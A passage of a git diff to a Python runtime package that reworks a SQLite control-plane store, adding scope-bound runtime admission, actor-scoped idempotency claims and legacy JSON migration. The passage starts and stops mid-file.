ControlPlaneOperationRecord], *, target_scope: str, run_scope: str +) -> None: + """Reject persisted operations outside the runtime-admitted store scope.""" + + for record in records.values(): + context = record.status.context + if (context.target_scope, context.run_scope) != (target_scope, run_scope): + raise RuntimeError("persisted operation scope does not match control-plane runtime admission") + + from .control_plane_store_memory import InMemoryControlPlaneStore # noqa: E402 @@ -283,17 +427,24 @@ def __getattr__(name: str) -> object: "AuditEvent", "ControlPlaneOperationRecord", "ControlPlaneStore", + "IDEMPOTENCY_CLAIM_CONFLICT", + "IdempotencyClaimIdentity", "INTERRUPTED_OPERATION_DIAGNOSTIC_CODE", "InMemoryControlPlaneStore", "LocalControlPlaneStore", "ParticipantCrossingHistoryPresence", "SnapshotRevisionConflict", "SnapshotState", + "RuntimeAdmittedControlPlaneStore", "TerminalCommitMode", "_require_expected_control_head", "_require_expected_history_heads", + "_require_same_idempotency_replay", "_snapshot_from_payload", "_snapshot_payload", "participant_crossing_history_presence", + "idempotency_claim_identity", + "require_operation_record_scopes", + "require_idempotency_key", "terminal_operation_audit", ] diff --git a/implementations/python/packages/raes_runtime/control_plane_store_compatibility.py b/implementations/python/packages/raes_runtime/control_plane_store_compatibility.py index 82f9078b7..be388ff93 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_compatibility.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_compatibility.py @@ -12,6 +12,7 @@ AuditEvent, ControlPlaneOperationRecord, ControlPlaneStore, + NewClaimBlock, SnapshotState, TerminalCommitMode, ) @@ -58,8 +59,19 @@ def commit_terminal_operation( expected_revision=expected_revision, ) - def claim_record(self, record: ControlPlaneOperationRecord) -> ControlPlaneOperationRecord: - return cast(AtomicControlPlaneStore, self._store).claim_record(record) + def claim_record( + self, + record: ControlPlaneOperationRecord, + *, + legacy_request_fingerprint: str = "", + new_claim_blocked: NewClaimBlock = None, + ) -> ControlPlaneOperationRecord: + options: dict[str, object] = {} + if legacy_request_fingerprint: + options["legacy_request_fingerprint"] = legacy_request_fingerprint + if new_claim_blocked is not None: + options["new_claim_blocked"] = new_claim_blocked + return cast(AtomicControlPlaneStore, self._store).claim_record(record, **options) def adapt_control_plane_store(store: object) -> ControlPlaneStoreCommitAdapter: diff --git a/implementations/python/packages/raes_runtime/control_plane_store_history.py b/implementations/python/packages/raes_runtime/control_plane_store_history.py index 50402e882..5e21bb2ba 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_history.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_history.py @@ -7,6 +7,8 @@ from raes_contracts.runtime_state import RuntimeSnapshot +from .participant_crossing_state_cut import history_record_identity + def require_expected_control_head( snapshot: RuntimeSnapshot, @@ -31,7 +33,10 @@ def participant_history_head(snapshot: RuntimeSnapshot, history_key: str) -> str "participant_behavior_history": snapshot.participant_behavior_history, "participant_control_history": snapshot.participant_control_history, "participant_crossing_history": snapshot.participant_crossing_history, + "participant_control_evaluation_history": snapshot.participant_control_evaluation_history, + "mixed_composition_history": snapshot.mixed_composition_history, "information_state_history": snapshot.information_state_history, + "participant_outcome_history": snapshot.participant_outcome_history, } history = histories.get(history_name) if not separator or not participant_address or history is None: @@ -39,9 +44,9 @@ def participant_history_head(snapshot: RuntimeSnapshot, history_key: str) -> str events = history.get(participant_address, ()) if not events: return None - event_id = events[-1].get("event_id") - if isinstance(event_id, str) and event_id: - return event_id + identity = history_record_identity(events[-1]) + if identity is not None: + return identity encoded = json.dumps(events[-1], sort_keys=True, separators=(",", ":"), default=str).encode() return f"sha256:{hashlib.sha256(encoded).hexdigest()}" diff --git a/implementations/python/packages/raes_runtime/control_plane_store_local.py b/implementations/python/packages/raes_runtime/control_plane_store_local.py index f20e30683..4e9bcbf37 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store_local.py +++ b/implementations/python/packages/raes_runtime/control_plane_store_local.py @@ -7,12 +7,12 @@ from collections.abc import Iterator from contextlib import contextmanager from dataclasses import asdict -from datetime import UTC, datetime from pathlib import Path from raes_contracts.participant_autonomous_state import require_participant_autonomous_runtime_snapshot from raes_contracts.runtime_state import RuntimeSnapshot +from .control_plane_profiles import ControlPlaneCapability, ControlPlaneStoreCapabilities from .control_plane_store import ( AuditEvent, ControlPlaneOperationRecord, @@ -26,10 +26,10 @@ _require_terminal_operation_audit, _require_terminal_operation_transition, _require_terminal_retry_mode, + require_operation_record_scopes, terminal_operation_audit, ) from .control_plane_store_lease import RuntimeOwnerLease, require_single_worker_configuration -from .control_plane_store_legacy import _read_legacy_state from .control_plane_store_local_codec import ( decode_payload as _decode_payload, ) @@ -39,9 +39,10 @@ from .control_plane_store_local_codec import ( transaction as _transaction, ) +from .control_plane_store_local_records import LocalOperationRecordStoreMixin +from .control_plane_store_local_scope import LocalStoreScopeMigrationMixin from .control_plane_store_local_snapshot import LocalSnapshotRevisionStoreMixin from .control_plane_store_paths import ( - _copy_regular_file_durably, _fsync_directory, _require_same_file, _secure_database_file, @@ -52,18 +53,13 @@ _participant_transition_count as _count_participant_transitions, ) from .control_plane_store_record_migration import LOCAL_OPERATION_SCHEMA_VERSION, migrate_sqlite_schema -from .control_plane_store_records import ( - _audit_event_from_payload, - _record_from_payload, - _record_payload, -) +from .control_plane_store_records import _audit_event_from_payload from .control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload _DATABASE_NAME = "control-plane.sqlite3" _SCHEMA_VERSION = LOCAL_OPERATION_SCHEMA_VERSION _BUSY_TIMEOUT_MILLISECONDS = 10_000 _RUNTIME_OWNER_LOCK_NAME = "runtime-owner.lock" -_OPERATION_RECORD_KIND = "operation record" _INSERT_AUDIT_EVENT = "INSERT INTO audit_events(payload, digest) VALUES (?, ?)" @@ -73,7 +69,11 @@ def _participant_transition_count(snapshot: RuntimeSnapshot) -> int: return _count_participant_transitions(snapshot) -class LocalControlPlaneStore(LocalSnapshotRevisionStoreMixin): +class LocalControlPlaneStore( + LocalOperationRecordStoreMixin, + LocalStoreScopeMigrationMixin, + LocalSnapshotRevisionStoreMixin, +): """Transactional single-host control-plane durability. SQLite WAL transactions serialize writers across processes, keep operation @@ -81,9 +81,22 @@ class LocalControlPlaneStore(LocalSnapshotRevisionStoreMixin): Legacy JSON files are imported once and retained with a timestamped backup. """ + control_plane_capabilities = ControlPlaneStoreCapabilities( + frozenset( + { + ControlPlaneCapability.STORE_DURABLE, + ControlPlaneCapability.STORE_ATOMIC_CLAIMS, + ControlPlaneCapability.STORE_ATOMIC_TERMINAL, + ControlPlaneCapability.STORE_REVISION_CAS, + ControlPlaneCapability.STORE_AUDIT, + ControlPlaneCapability.STORE_SCOPE_BOUND, + ControlPlaneCapability.STORE_OWNER_LEASE, + } + ) + ) + def __init__(self, base_dir: Path) -> None: self._base_dir = base_dir - _secure_store_directory(self._base_dir) self._database_path = self._base_dir / _DATABASE_NAME self._runtime_owner_path = self._base_dir / _RUNTIME_OWNER_LOCK_NAME self._active_runtime_lease: RuntimeOwnerLease | None = None @@ -92,15 +105,26 @@ def __init__(self, base_dir: Path) -> None: self._audit_path = self._base_dir / "audit.jsonl" self._control_state_path = self._base_dir / "control-transition-state.json" self._database_identity: os.stat_result | None = None - database_existed = _secure_database_file(self._database_path, allow_missing=True) is not None - _validate_sqlite_sidecars(self._database_path) - self._initialize_database(database_existed=database_existed) - database_identity = _secure_database_file(self._database_path, allow_missing=False) - assert database_identity is not None - self._database_identity = database_identity + self._provider_closed = False + self._admitted_scope: tuple[str, str] | None = None - def acquire_runtime_lease(self) -> RuntimeOwnerLease: - """Fail fast unless this process is the store's sole runtime owner.""" + def admit_runtime(self, *, target_scope: str, run_scope: str) -> RuntimeOwnerLease: + """Acquire sole ownership, bind scope, and only then inspect SQLite.""" + + return self._admit(target_scope=target_scope, run_scope=run_scope, require_existing=False) + + def admit_maintenance(self, *, target_scope: str, run_scope: str) -> RuntimeOwnerLease: + """Acquire runtime-exclusive authority for an existing local store.""" + + return self._admit(target_scope=target_scope, run_scope=run_scope, require_existing=True) + + def _admit( + self, + *, + target_scope: str, + run_scope: str, + require_existing: bool, + ) -> RuntimeOwnerLease: require_single_worker_configuration() active = self._active_runtime_lease @@ -108,42 +132,64 @@ def acquire_runtime_lease(self) -> RuntimeOwnerLease: raise RuntimeError( "local control-plane store already has a runtime owner; use exactly one worker with reload disabled" ) + _secure_store_directory(self._base_dir, reject_insecure_existing=require_existing) + directory_identity = self._base_dir.lstat() lease = RuntimeOwnerLease.acquire(self._runtime_owner_path) - self._active_runtime_lease = lease - return lease + try: + current_directory_identity = self._base_dir.lstat() + if not os.path.samestat(directory_identity, current_directory_identity): + raise RuntimeError("local control-plane store directory changed during runtime admission") + self._active_runtime_lease = lease + self._provider_closed = False + self._admitted_scope = (target_scope, run_scope) + database_existed = ( + _secure_database_file( + self._database_path, + allow_missing=not require_existing, + ) + is not None + ) + _validate_sqlite_sidecars(self._database_path) + if require_existing: + with self._connection() as connection: + if connection.execute("PRAGMA journal_mode").fetchone() != ("wal",): + raise RuntimeError("local control-plane maintenance requires WAL journal mode") + self._validate_persisted_state( + connection, + target_scope=target_scope, + run_scope=run_scope, + ) + else: + self._initialize_database( + database_existed=database_existed, + target_scope=target_scope, + run_scope=run_scope, + ) + database_identity = _secure_database_file(self._database_path, allow_missing=False) + assert database_identity is not None + self._database_identity = database_identity + return lease + except BaseException: + self._active_runtime_lease = None + self._admitted_scope = None + lease.close() + raise - def load_records(self) -> dict[str, ControlPlaneOperationRecord]: - with self._connection() as connection: - rows = connection.execute( - "SELECT operation_id, payload, digest FROM operations ORDER BY operation_id" - ).fetchall() - records: dict[str, ControlPlaneOperationRecord] = {} - for operation_id, payload, digest in rows: - record = _record_from_payload(_decode_payload(payload, digest, kind=_OPERATION_RECORD_KIND)) - if record.receipt.operation_id != operation_id: - raise ValueError("operation record identity does not match its durable key") - records[operation_id] = record - return records - - def save_record(self, record: ControlPlaneOperationRecord) -> None: - with self._connection() as connection, _transaction(connection): - if _require_operation_record_transition(self._load_record(connection, record.receipt.operation_id), record): - self._upsert_record(connection, record) + def acquire_runtime_lease(self) -> RuntimeOwnerLease: + """Legacy entry point retained only to fail closed without scope.""" - def claim_record(self, record: ControlPlaneOperationRecord) -> ControlPlaneOperationRecord: - """Atomically claim an idempotency key or return its existing record.""" + raise RuntimeError("local control-plane store runtime admission requires target and run scope") - with self._connection() as connection, _transaction(connection): - if record.idempotency_key: - existing = self._find_by_idempotency(connection, record.idempotency_key) - if existing is not None: - return existing - existing = self._load_record(connection, record.receipt.operation_id) - if _require_operation_record_transition(existing, record): - self._upsert_record(connection, record) - return record - assert existing is not None - return existing + def _assert_runtime_admitted(self) -> None: + lease = self._active_runtime_lease + if lease is None or lease.closed or self._provider_closed: + raise RuntimeError("local control-plane store requires live runtime admission") + lease.assert_owner() + + def close(self) -> None: + """Close provider resources without releasing the runtime-owner lease.""" + + self._provider_closed = True def commit_terminal_operation( self, @@ -193,12 +239,6 @@ def commit_terminal_operation( self._insert_audit(connection, event) return committed - def find_by_idempotency(self, key: str) -> ControlPlaneOperationRecord | None: - if not key: - return None - with self._connection() as connection: - return self._find_by_idempotency(connection, key) - def append_audit(self, event: AuditEvent) -> None: with self._connection() as connection, _transaction(connection): self._insert_audit(connection, event) @@ -285,6 +325,7 @@ def _load_audits(connection: sqlite3.Connection) -> list[AuditEvent]: ] def _connect(self, *, allow_create: bool = False) -> tuple[sqlite3.Connection, os.stat_result]: + self._assert_runtime_admitted() before = _secure_database_file(self._database_path, allow_missing=allow_create) expected_identity = self._database_identity if expected_identity is not None and before is not None: @@ -332,8 +373,10 @@ def _connection(self, *, allow_create: bool = False) -> Iterator[sqlite3.Connect ) _validate_sqlite_sidecars(self._database_path) - def _initialize_database(self, *, database_existed: bool) -> None: + def _initialize_database(self, *, database_existed: bool, target_scope: str, run_scope: str) -> None: with self._connection(allow_create=not database_existed) as connection: + if database_existed: + self._require_compatible_scope(connection, target_scope=target_scope, run_scope=run_scope) if connection.execute("PRAGMA journal_mode=WAL").fetchone() != ("wal",): raise RuntimeError("local control-plane database did not enter required SQLite WAL journal mode") _validate_sqlite_sidecars(self._database_path) @@ -352,12 +395,16 @@ def _initialize_database(self, *, database_existed: bool) -> None: CREATE TABLE IF NOT EXISTS operations ( operation_id TEXT PRIMARY KEY, idempotency_key TEXT NOT NULL, + actor_id TEXT NOT NULL DEFAULT '', + operation_kind TEXT NOT NULL DEFAULT '', + target_scope TEXT NOT NULL DEFAULT '', + run_scope TEXT NOT NULL DEFAULT '', + request_commitment TEXT NOT NULL DEFAULT '', + legacy_opaque_claim INTEGER NOT NULL DEFAULT 0, request_fingerprint TEXT NOT NULL, payload TEXT NOT NULL, digest TEXT NOT NULL ); - CREATE UNIQUE INDEX IF NOT EXISTS operations_idempotency_key - ON operations(idempotency_key) WHERE idempotency_key != ''; CREATE TABLE IF NOT EXISTS audit_events ( sequence INTEGER PRIMARY KEY AUTOINCREMENT, payload TEXT NOT NULL, @@ -366,132 +413,57 @@ def _initialize_database(self, *, database_existed: bool) -> None: """ ) with _transaction(connection): + self._bind_runtime_scope(connection, target_scope=target_scope, run_scope=run_scope) connection.execute( "INSERT OR IGNORE INTO metadata(key, value) VALUES ('schema-version', ?)", (_SCHEMA_VERSION,), ) migrate_sqlite_schema(connection, _decode_payload, _encode_payload) self._migrate_legacy_json(connection) + self._rebind_legacy_operation_scopes( + connection, + target_scope=target_scope, + run_scope=run_scope, + ) + self._require_bound_operation_scopes( + connection, + target_scope=target_scope, + run_scope=run_scope, + ) + self._validate_persisted_state( + connection, + target_scope=target_scope, + run_scope=run_scope, + ) quick_check = connection.execute("PRAGMA quick_check").fetchone() if quick_check is None or quick_check[0] != "ok": raise ValueError("local control-plane database failed its integrity check") if not database_existed: _fsync_directory(self._base_dir) - def _migrate_legacy_json(self, connection: sqlite3.Connection) -> None: - completed = connection.execute("SELECT value FROM metadata WHERE key='legacy-json-migration'").fetchone() - if completed is not None: - return - legacy_paths = self._existing_legacy_paths() - if not legacy_paths: - connection.execute("INSERT INTO metadata(key, value) VALUES ('legacy-json-migration', 'not-present')") - return - - snapshot, records, audits = _read_legacy_state( - snapshot_path=self._snapshot_path, - operations_path=self._operations_path, - audit_path=self._audit_path, - control_state_path=self._control_state_path, - ) - backup_dir = self._backup_legacy_files(legacy_paths) - self._upsert_snapshot(connection, snapshot) - for record in records.values(): - self._upsert_record(connection, record) - for event in audits: - payload, digest = _encode_payload(asdict(event)) - connection.execute( - _INSERT_AUDIT_EVENT, - (payload, digest), - ) - stored_record_count = connection.execute("SELECT COUNT(*) FROM operations").fetchone()[0] - stored_audit_count = connection.execute("SELECT COUNT(*) FROM audit_events").fetchone()[0] - if stored_record_count != len(records) or stored_audit_count != len(audits): - raise ValueError("legacy control-plane migration verification failed") - connection.execute( - "INSERT INTO metadata(key, value) VALUES ('legacy-json-migration', ?)", - (backup_dir.name,), - ) - - def _existing_legacy_paths(self) -> list[Path]: - return [ - path - for path in ( - self._snapshot_path, - self._operations_path, - self._audit_path, - self._control_state_path, - ) - if path.exists() - ] - - def _backup_legacy_files(self, paths: list[Path]) -> Path: - timestamp = datetime.now(UTC).strftime("%Y%m%dT%H%M%S.%fZ") - backup_dir = self._base_dir / f"legacy-json-backup-{timestamp}" - backup_dir.mkdir(mode=0o700) - for path in paths: - _copy_regular_file_durably(path, backup_dir / path.name) - _fsync_directory(backup_dir) - _fsync_directory(self._base_dir) - return backup_dir - - @staticmethod - def _load_record( - connection: sqlite3.Connection, - operation_id: str, - ) -> ControlPlaneOperationRecord | None: - row = connection.execute( - "SELECT payload, digest FROM operations WHERE operation_id=?", - (operation_id,), - ).fetchone() - if row is None: - return None - record = _record_from_payload(_decode_payload(row[0], row[1], kind=_OPERATION_RECORD_KIND)) - if record.receipt.operation_id != operation_id: - raise ValueError("operation record identity does not match its durable key") - return record - - @staticmethod - def _upsert_record(connection: sqlite3.Connection, record: ControlPlaneOperationRecord) -> None: - if record.idempotency_key: - conflict = connection.execute( - "SELECT operation_id FROM operations WHERE idempotency_key=?", - (record.idempotency_key,), - ).fetchone() - if conflict is not None and conflict[0] != record.receipt.operation_id: - raise ValueError("idempotency key already belongs to another operation") - payload, digest = _encode_payload(_record_payload(record)) - connection.execute( - """ - INSERT INTO operations( - operation_id, idempotency_key, request_fingerprint, payload, digest - ) VALUES (?, ?, ?, ?, ?) - ON CONFLICT(operation_id) DO UPDATE SET - idempotency_key=excluded.idempotency_key, - request_fingerprint=excluded.request_fingerprint, - payload=excluded.payload, - digest=excluded.digest - """, - ( - record.receipt.operation_id, - record.idempotency_key, - record.request_fingerprint, - payload, - digest, - ), - ) - - @staticmethod - def _find_by_idempotency( + @classmethod + def _validate_persisted_state( + cls, connection: sqlite3.Connection, - key: str, - ) -> ControlPlaneOperationRecord | None: - row = connection.execute( - "SELECT payload, digest FROM operations WHERE idempotency_key=?", - (key,), - ).fetchone() - if row is None: - return None - return _record_from_payload(_decode_payload(row[0], row[1], kind=_OPERATION_RECORD_KIND)) + *, + target_scope: str, + run_scope: str, + ) -> None: + """Run strict startup/maintenance validation over one SQLite cut.""" + + stored_target, stored_run = cls._scope_metadata(connection) + if (stored_target, stored_run) != (target_scope, run_scope): + raise RuntimeError("local control-plane store scope does not match runtime admission") + schema = connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() + if schema != (_SCHEMA_VERSION,): + raise ValueError("unsupported local control-plane database schema") + cls._load_snapshot_state(connection) + records = cls._load_records(connection) + require_operation_record_scopes(records, target_scope=target_scope, run_scope=run_scope) + cls._load_audits(connection) + quick_check = connection.execute("PRAGMA quick_check").fetchone() + if quick_check is None or quick_check[0] != "ok": + raise ValueError("local control-plane database failed its integrity check") __all__ = ("LocalControlPlaneStore",) diff --git a/implementations/python/packages/raes_runtime/control_plane_store_local_records.py b/implementations/python/packages/raes_runtime/control_plane_store_local_records.py new file mode 100644 index 000000000..03c02fdc0 --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_store_local_records.py @@ -0,0 +1,198 @@ +"""SQLite operation-record persistence for the local control-plane store.""" + +from __future__ import annotations + +import sqlite3 + +from raes_contracts.runtime_state import OperationAdmissionContext + +from .control_plane_store import ( + ControlPlaneOperationRecord, + NewClaimBlock, + _raise_new_claim_block, + _require_operation_record_transition, + _require_same_idempotency_replay, + mixed_claim_conflicts, + require_idempotency_key, +) +from .control_plane_store_local_codec import decode_payload as _decode_payload +from .control_plane_store_local_codec import encode_payload as _encode_payload +from .control_plane_store_local_codec import transaction as _transaction +from .control_plane_store_records import _record_from_payload, _record_payload + +_OPERATION_RECORD_KIND = "operation record" + + +class LocalOperationRecordStoreMixin: + """Persist and atomically claim local control-plane operation records.""" + + def load_records(self) -> dict[str, ControlPlaneOperationRecord]: + with self._connection() as connection: + return self._load_records(connection) + + @staticmethod + def _load_records(connection: sqlite3.Connection) -> dict[str, ControlPlaneOperationRecord]: + rows = connection.execute( + "SELECT operation_id, payload, digest FROM operations ORDER BY operation_id" + ).fetchall() + records: dict[str, ControlPlaneOperationRecord] = {} + for operation_id, payload, digest in rows: + record = _record_from_payload(_decode_payload(payload, digest, kind=_OPERATION_RECORD_KIND)) + if record.receipt.operation_id != operation_id: + raise ValueError("operation record identity does not match its durable key") + records[operation_id] = record + return records + + def save_record(self, record: ControlPlaneOperationRecord) -> None: + with self._connection() as connection, _transaction(connection): + if _require_operation_record_transition(self._load_record(connection, record.receipt.operation_id), record): + self._upsert_record(connection, record) + + def claim_record( + self, + record: ControlPlaneOperationRecord, + *, + legacy_request_fingerprint: str = "", + new_claim_blocked: NewClaimBlock = None, + ) -> ControlPlaneOperationRecord: + """Atomically claim an idempotency key or return its existing record.""" + + require_idempotency_key(record.idempotency_key) + with self._connection() as connection, _transaction(connection): + if record.idempotency_key: + existing = self._find_by_idempotency( + connection, + record.idempotency_key, + context=record.receipt.context, + ) + if existing is not None: + _require_same_idempotency_replay( + existing, + record, + legacy_request_fingerprint=legacy_request_fingerprint, + ) + return existing + if new_claim_blocked: + _raise_new_claim_block(new_claim_blocked) + if mixed_claim_conflicts(record, self._load_records(connection).values()): + _raise_new_claim_block("current-state") + existing = self._load_record(connection, record.receipt.operation_id) + if _require_operation_record_transition(existing, record): + self._upsert_record(connection, record) + return record + assert existing is not None + return existing + + def find_by_idempotency( + self, + key: str, + *, + context: OperationAdmissionContext | None = None, + ) -> ControlPlaneOperationRecord | None: + require_idempotency_key(key) + if not key: + return None + with self._connection() as connection: + return self._find_by_idempotency(connection, key, context=context) + + @staticmethod + def _load_record( + connection: sqlite3.Connection, + operation_id: str, + ) -> ControlPlaneOperationRecord | None: + row = connection.execute( + "SELECT payload, digest FROM operations WHERE operation_id=?", + (operation_id,), + ).fetchone() + if row is None: + return None + record = _record_from_payload(_decode_payload(row[0], row[1], kind=_OPERATION_RECORD_KIND)) + if record.receipt.operation_id != operation_id: + raise ValueError("operation record identity does not match its durable key") + return record + + @staticmethod + def _upsert_record(connection: sqlite3.Connection, record: ControlPlaneOperationRecord) -> None: + context = record.receipt.context + if record.idempotency_key: + opaque_conflict = connection.execute( + """ + SELECT operation_id FROM operations + WHERE actor_id=? AND operation_kind=? AND legacy_opaque_claim=1 + """, + (context.actor_id, context.operation_kind.value), + ).fetchone() + if opaque_conflict is not None and opaque_conflict[0] != record.receipt.operation_id: + raise ValueError("idempotency claim conflicts with the original request") + conflict = connection.execute( + """ + SELECT operation_id FROM operations + WHERE actor_id=? AND operation_kind=? AND idempotency_key=? + """, + (context.actor_id, context.operation_kind.value, record.idempotency_key), + ).fetchone() + if conflict is not None and conflict[0] != record.receipt.operation_id: + raise ValueError("idempotency key already belongs to another operation") + payload, digest = _encode_payload(_record_payload(record)) + connection.execute( + """ + INSERT INTO operations( + operation_id, idempotency_key, actor_id, operation_kind, + target_scope, run_scope, request_commitment, legacy_opaque_claim, + request_fingerprint, payload, digest + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(operation_id) DO UPDATE SET + idempotency_key=excluded.idempotency_key, + actor_id=excluded.actor_id, + operation_kind=excluded.operation_kind, + target_scope=excluded.target_scope, + run_scope=excluded.run_scope, + request_commitment=excluded.request_commitment, + request_fingerprint=excluded.request_fingerprint, + payload=excluded.payload, + digest=excluded.digest + """, + ( + record.receipt.operation_id, + record.idempotency_key, + context.actor_id, + context.operation_kind.value, + context.target_scope, + context.run_scope, + context.request_commitment, + 0, + record.request_fingerprint, + payload, + digest, + ), + ) + + @staticmethod + def _find_by_idempotency( + connection: sqlite3.Connection, + key: str, + *, + context: OperationAdmissionContext | None = None, + ) -> ControlPlaneOperationRecord | None: + if context is None: + rows = connection.execute( + "SELECT payload, digest FROM operations WHERE idempotency_key=?", + (key,), + ).fetchall() + if len(rows) > 1: + raise ValueError("idempotency lookup requires immutable operation context") + row = rows[0] if rows else None + else: + row = connection.execute( + """ + SELECT payload, digest FROM operations + WHERE actor_id=? AND operation_kind=? AND idempotency_key=? + """, + (context.actor_id, context.operation_kind.value, key), + ).fetchone() + if row is None: + return None + return _record_from_payload(_decode_payload(row[0], row[1], kind=_OPERATION_RECORD_KIND)) + + +__all__ = ("LocalOperationRecordStoreMixin",) diff --git a/implementations/python/packages/raes_runtime/control_plane_store_local_scope.py b/implementations/python/packages/raes_runtime/control_plane_store_local_scope.py new file mode 100644 index 000000000..f6026578f --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_store_local_scope.py @@ -0,0 +1,184 @@ +"""Runtime scope binding and legacy migration for the local control-plane store.""" + +from __future__ import annotations + +import sqlite3 +from dataclasses import asdict, replace +from datetime import UTC, datetime +from pathlib import Path +from typing import cast + +from .control_plane_store import ControlPlaneOperationRecord +from .control_plane_store_legacy import _read_legacy_state +from .control_plane_store_local_codec import decode_payload as _decode_payload +from .control_plane_store_local_codec import encode_payload as _encode_payload +from .control_plane_store_paths import _copy_regular_file_durably, _fsync_directory +from .control_plane_store_records import _record_from_payload, _record_payload + +_OPERATION_RECORD_KIND = "operation record" +_INSERT_AUDIT_EVENT = "INSERT INTO audit_events(payload, digest) VALUES (?, ?)" + + +class LocalStoreScopeMigrationMixin: + """Bind immutable runtime scope and migrate legacy local-store payloads.""" + + @staticmethod + def _scope_metadata(connection: sqlite3.Connection) -> tuple[str | None, str | None]: + table = connection.execute("SELECT 1 FROM sqlite_master WHERE type='table' AND name='metadata'").fetchone() + if table is None: + return None, None + rows = connection.execute( + "SELECT key, value FROM metadata WHERE key IN ('target-scope', 'run-scope')" + ).fetchall() + values: dict[str, str] = {} + for key, value in rows: + if key in values: + raise RuntimeError("local control-plane store scope metadata contains duplicate keys") + values[key] = value + return values.get("target-scope"), values.get("run-scope") + + @classmethod + def _require_compatible_scope( + cls, + connection: sqlite3.Connection, + *, + target_scope: str, + run_scope: str, + ) -> None: + stored_target, stored_run = cls._scope_metadata(connection) + if (stored_target is None) != (stored_run is None): + raise RuntimeError("local control-plane store scope metadata is incomplete") + if stored_target is not None and (stored_target, stored_run) != (target_scope, run_scope): + raise RuntimeError("local control-plane store scope does not match runtime admission") + + @classmethod + def _bind_runtime_scope( + cls, + connection: sqlite3.Connection, + *, + target_scope: str, + run_scope: str, + ) -> None: + cls._require_compatible_scope(connection, target_scope=target_scope, run_scope=run_scope) + stored_target, _stored_run = cls._scope_metadata(connection) + if stored_target is not None: + return + connection.executemany( + "INSERT INTO metadata(key, value) VALUES (?, ?)", + (("target-scope", target_scope), ("run-scope", run_scope)), + ) + + def _migrate_legacy_json(self, connection: sqlite3.Connection) -> None: + completed = connection.execute("SELECT value FROM metadata WHERE key='legacy-json-migration'").fetchone() + if completed is not None: + return + legacy_paths = self._existing_legacy_paths() + if not legacy_paths: + connection.execute("INSERT INTO metadata(key, value) VALUES ('legacy-json-migration', 'not-present')") + return + + snapshot, records, audits = _read_legacy_state( + snapshot_path=self._snapshot_path, + operations_path=self._operations_path, + audit_path=self._audit_path, + control_state_path=self._control_state_path, + ) + backup_dir = self._backup_legacy_files(legacy_paths) + self._upsert_snapshot(connection, snapshot) + for record in records.values(): + self._upsert_record(connection, record) + for event in audits: + payload, digest = _encode_payload(asdict(event)) + connection.execute(_INSERT_AUDIT_EVENT, (payload, digest)) + stored_record_count = connection.execute("SELECT COUNT(*) FROM operations").fetchone()[0] + stored_audit_count = connection.execute("SELECT COUNT(*) FROM audit_events").fetchone()[0] + if stored_record_count != len(records) or stored_audit_count != len(audits): + raise ValueError("legacy control-plane migration verification failed") + connection.execute( + "INSERT INTO metadata(key, value) VALUES ('legacy-json-migration', ?)", + (backup_dir.name,), + ) + + @staticmethod + def _rebind_legacy_operation_scopes( + connection: sqlite3.Connection, + *, + target_scope: str, + run_scope: str, + ) -> None: + rows = connection.execute("SELECT operation_id, payload, digest FROM operations").fetchall() + for operation_id, payload, digest in rows: + record = _record_from_payload(_decode_payload(payload, digest, kind=_OPERATION_RECORD_KIND)) + context = record.status.context + if ( + context.target_scope != "target:legacy-unattributed" + or context.run_scope != "run:legacy-unattributed" + or context.authorization_scope != ("legacy:unattributed",) + ): + continue + rebound_context = context.model_copy(update={"target_scope": target_scope, "run_scope": run_scope}) + rebound = cast( + ControlPlaneOperationRecord, + replace( + record, + receipt=replace(record.receipt, context=rebound_context), + status=replace(record.status, context=rebound_context), + ), + ) + rebound_payload, rebound_digest = _encode_payload(_record_payload(rebound)) + connection.execute( + """ + UPDATE operations SET + target_scope=?, run_scope=?, request_fingerprint=?, payload=?, digest=? + WHERE operation_id=? + """, + ( + target_scope, + run_scope, + rebound_context.request_commitment, + rebound_payload, + rebound_digest, + operation_id, + ), + ) + + @staticmethod + def _require_bound_operation_scopes( + connection: sqlite3.Connection, + *, + target_scope: str, + run_scope: str, + ) -> None: + rows = connection.execute("SELECT operation_id, payload, digest FROM operations").fetchall() + for operation_id, payload, digest in rows: + record = _record_from_payload(_decode_payload(payload, digest, kind=_OPERATION_RECORD_KIND)) + context = record.status.context + if (context.target_scope, context.run_scope) != (target_scope, run_scope): + raise ValueError("persisted operation scope does not match admitted store scope") + if record.receipt.operation_id != operation_id: + raise ValueError("operation record identity does not match its durable key") + + def _existing_legacy_paths(self) -> list[Path]: + return [ + path + for path in ( + self._snapshot_path, + self._operations_path, + self._audit_path, + self._control_state_path, + ) + if path.exists() + ] + + def _backup_legacy_files(self, paths: list[Path]) -> Path: + timestamp = datetime.now(UTC).strftime("%Y%m%dT%H%M%S.%fZ") + backup_dir = self._base_dir / f"legacy-json-backup-{timestamp}" + backup_dir.mkdir(mode=0o700) + for path in paths: + _copy_regular_file_durably(path, backup_dir / path.name) + _fsync_directory(backup_dir) + _fsync_directory(self._base_dir) + return backup_dir + + +__all__ = ("LocalStoreScopeMigrationMixin",) diff --git a/implementations/python/packages/raes_runtime/control_plane_store_maintenance.py b/implementations/python/packages/raes_runtime/control_plane_store_maintenance.py new file mode 100644 index 000000000..3dbea486f --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_store_maintenance.py @@ -0,0 +1,423 @@ +"""Lease-admitted maintenance for the local control-plane store.""" + +from __future__ import annotations + +import os +import sqlite3 +import tempfile +from collections.abc import Iterator +from contextlib import contextmanager +from dataclasses import dataclass +from enum import Enum +from pathlib import Path + +from .control_plane_configuration import ControlPlaneConfiguration +from .control_plane_execution import _utc_now +from .control_plane_operation_context import runtime_target_scope +from .control_plane_store_lease import RuntimeOwnerLease, require_single_worker_configuration +from .control_plane_store_local import LocalControlPlaneStore +from .control_plane_store_local_codec import decode_payload, encode_payload, transaction +from .control_plane_store_paths import ( + _fsync_directory, + _fsync_regular_file, + _require_same_file, + _secure_database_file, + _secure_store_directory, + _validate_sqlite_sidecars, +) +from .control_plane_store_record_migration import migrate_sqlite_schema + +_DATABASE_NAME = "control-plane.sqlite3" 